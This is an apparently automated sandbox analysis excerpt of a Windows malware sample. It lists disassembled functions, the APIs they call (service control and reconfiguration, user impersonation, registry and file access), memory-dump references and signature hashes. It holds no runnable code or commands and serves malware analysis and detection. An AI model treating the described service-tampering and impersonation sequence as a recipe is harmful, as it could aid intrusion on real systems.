Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 4f1a8374c75cb4e9b346925bd1775e3cade038c21c2b9620964430e26068e40f
Instruction ID: bd6f073d0f02f0d06ac211f5fb4d1d0439b34972d088e5419af7c5915c7bd988
Opcode Fuzzy Hash: 4f1a8374c75cb4e9b346925bd1775e3cade038c21c2b9620964430e26068e40f
Instruction Fuzzy Hash: B1E0C2721C45CA8ACB1A9FA0A9017AA775DEB80790F602114FB02FBE4ACB3D4C918795

Function 01004F77 Relevance: 4.6, APIs: 3, Instructions: 82
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 01005C42
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 01005C69
GetNativeSystemInfo.KERNELBASE(?), ref: 01005CC0

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c50cb5251bc28ef80f76a23a7f7cde86a1eee45dfba0512fa46886bb45dbabf0
Instruction ID: 903c8170dd81d731db7e8f72b5e704479fc52064ba4586b65eb35122aec494ce
Opcode Fuzzy Hash: c50cb5251bc28ef80f76a23a7f7cde86a1eee45dfba0512fa46886bb45dbabf0
Instruction Fuzzy Hash: 713115B100420EDFFF62DF54CD48BEF3BA5EB05310F00492AEA8185991E7B64DA88F59

Function 056315C4 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 056318C8

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: bcf10f4355778a6c1413e314ccbd83c263200d9723b735597fd310e462fa7c7c
Instruction ID: 5cdefda9f8ebe4f351fefff1a05c0309432f2c0786465b736d57278ab4d047f7
Opcode Fuzzy Hash: bcf10f4355778a6c1413e314ccbd83c263200d9723b735597fd310e462fa7c7c
Instruction Fuzzy Hash: 98C14971D002599FDB10CFA8CD867ADBBB2BF4A310F148169EC59E7394EB748881CB81

Function 00FF61C4 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00FF61C4

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 621bfe7b24f0d4735b68b91e6d730e32d91f0a4a9993c7a474e2ef470eb89c5b
Instruction ID: f7057589b6c2f312d93af081cc0bd521ad8ad36f3a3a34cc87db68c0b8f8a2c7
Opcode Fuzzy Hash: 621bfe7b24f0d4735b68b91e6d730e32d91f0a4a9993c7a474e2ef470eb89c5b
Instruction Fuzzy Hash: 533111B680C714AFE706AF28D88167AFBE4FF54720F164C2DE6C482661E7344890DB97

Function 01003055 Relevance: 1.6, APIs: 1, Instructions: 77
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 01003065

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 656b67fa4f2d45b0cf043df84b40f282d72359af8e3621f62cb5bf63447ec7cc
Instruction ID: e3df7e67e0b693d68e0d22c632caa76ea06f49054212ed1d59d062a924a774f1
Opcode Fuzzy Hash: 656b67fa4f2d45b0cf043df84b40f282d72359af8e3621f62cb5bf63447ec7cc
Instruction Fuzzy Hash: D4215AB190C600DBE705BF65D94667EBBE5EF48310F16882DEAC9C7250E23598918B47

Function 05630D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05630DCD

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 6f31ca5053927c6cea51f28356d7f8bc669a8fe1e40cf495ed99c5f1709c22f6
Instruction ID: 3033308be5c947f4a0a7513c91db2a069327b98e79f1206bca1ddd88662914dc
Opcode Fuzzy Hash: 6f31ca5053927c6cea51f28356d7f8bc669a8fe1e40cf495ed99c5f1709c22f6
Instruction Fuzzy Hash: 572104BAC012189FCB50CF99D989ADEFBF5FF88720F14851AD909AB304D734A545CBA4

Function 05630D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05630DCD

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 56896609e70566b54979416d2878af2d1946a938cc8c738516ed1584839d1ed9
Instruction ID: 824cc26a4ad138424acf9191d7f01a78896e9ea756b1991032295aeddc6658d7
Opcode Fuzzy Hash: 56896609e70566b54979416d2878af2d1946a938cc8c738516ed1584839d1ed9
Instruction Fuzzy Hash: 942124B6C012189FCB50CFA9D989ADEFBF4FF88320F14811AD909AB304D734A544CBA4

Function 05631509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05631580

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: a8d4bff9fa3a2c35563b87d638dbf9865d458669321a7ba920d93a61db6a8f0a
Instruction ID: b8a20d9ff14fbb38daed7a6751c171006590322f76ccfcd00ddc480997ffc070
Opcode Fuzzy Hash: a8d4bff9fa3a2c35563b87d638dbf9865d458669321a7ba920d93a61db6a8f0a
Instruction Fuzzy Hash: A72106B6D002498FDB10CF9AC545BEEBBF4EF48320F10842AD559A7240D338A644CFA5

Function 05631510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05631580

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 1cfea745b2d30257a993b41a16ec6ae031b998bdc13ef03adeb9334e6a2edd3c
Instruction ID: 5869b337b17b69aea5bdef2040729dcb4cfaa9336c52f2173042cf8f3c2a0786
Opcode Fuzzy Hash: 1cfea745b2d30257a993b41a16ec6ae031b998bdc13ef03adeb9334e6a2edd3c
Instruction Fuzzy Hash: A311D3B19002499FDB10CF9AC585ADEFBF4EB49320F108029E959A3250D778A644CFA5

Function 05631301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05631367

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 530976266737277f08ac65acfd122d6b25ffd1e1906d95aa67c7a9be221be03a
Instruction ID: 010891b86a2e242feec3ce7bf18058bf4d1bbddbd071e5d28b2f06df019ba9c1
Opcode Fuzzy Hash: 530976266737277f08ac65acfd122d6b25ffd1e1906d95aa67c7a9be221be03a
Instruction Fuzzy Hash: D51116B5900349CFDB10DF9AD585BEEBBF4EF49320F14842AD918A3640C778A544CFA5

Function 05631308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05631367

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 4045aa6680f7db6cdc29c1a3a438aaf0d35941c69a8e0222608a42c52bc38dc8
Instruction ID: 96dc43d52b222611528b500ad2adf7b75fda25e49e3b6484d3e38217e4a96dd9
Opcode Fuzzy Hash: 4045aa6680f7db6cdc29c1a3a438aaf0d35941c69a8e0222608a42c52bc38dc8
Instruction Fuzzy Hash: C51136B1800249CFDB10CF9AC545BEEFBF8EF49320F10842AD518A3640C778A544CFA5

Function 00FF8E50 Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(FEF9FFA9), ref: 00FF8EA2

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e33feba1712405f30309d766755cea3949a04490933e831384c0b4bfb4db92f5
Instruction ID: 2921d7d04a396887c02c3f82a0a46ca67200e95ca43d07ad1fa4320d154a73b9
Opcode Fuzzy Hash: e33feba1712405f30309d766755cea3949a04490933e831384c0b4bfb4db92f5
Instruction Fuzzy Hash: 91F0E93290814E5FE755EF60C890BBF3795FF413A0F704029D945835A5DE750C01DA04

Function 00FF8C75 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00FF8CB9

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
